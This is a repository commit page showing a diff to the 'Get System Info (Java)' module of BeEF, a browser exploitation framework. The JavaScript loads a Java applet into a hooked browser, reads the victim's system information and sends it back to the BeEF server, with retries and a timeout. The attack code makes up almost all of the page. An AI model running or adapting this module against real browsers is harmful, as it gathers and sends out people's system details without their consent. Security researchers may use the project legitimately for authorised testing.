Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix Get System Info (Java) - Fix #1725

Browse Source
This commit is contained in:
Brendan Coles
2019-05-05 11:46:36 +00:00
parent 367e91b095
commit dab4288501
2 changed files with 28 additions and 31 deletions
Download Patch File Download Diff File Expand all files Collapse all files

57
modules/host/get_system_info_java/command.js
View File

@@ -6,39 +6,36 @@
beef.execute(function() {
var internal_counter = 0;
var timeout = 30;
var output;
var internal_counter = 0;
var timeout = 30;
var output;
beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null);
beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...');
beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null);
if (beef.browser.isFF()) {
function waituntilok() {
beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...');
output = document.getSystemInfo.getInfo();
if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
try {
output = document.getSystemInfo.getInfo();
if (output) {
beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"), beef.are.status_success());
beef.dom.detachApplet('getSystemInfo');
return;
}
} catch (e) {
internal_counter = internal_counter + 5;
if (internal_counter > timeout) {
beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());
beef.dom.detachApplet('getSystemInfo');
return;
}
setTimeout(function() {waituntilok()}, 5000);
}
}
} else {
function waituntilok() {
try {
output = document.getSystemInfo.getInfo();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));
beef.dom.detachApplet('getSystemInfo');
return;
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after '+timeout+' seconds');
beef.dom.detachApplet('getSystemInfo');
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
setTimeout(function() {waituntilok()},5000);
}
setTimeout(function() {waituntilok()}, 5000);
});

2
modules/host/get_system_info_java/module.rb
View File

@@ -6,7 +6,7 @@
class Get_system_info_java < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info/getSystemInfo.class','/getSystemInfo','class')
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info_java/getSystemInfo.class','/getSystemInfo','class')
end
def post_execute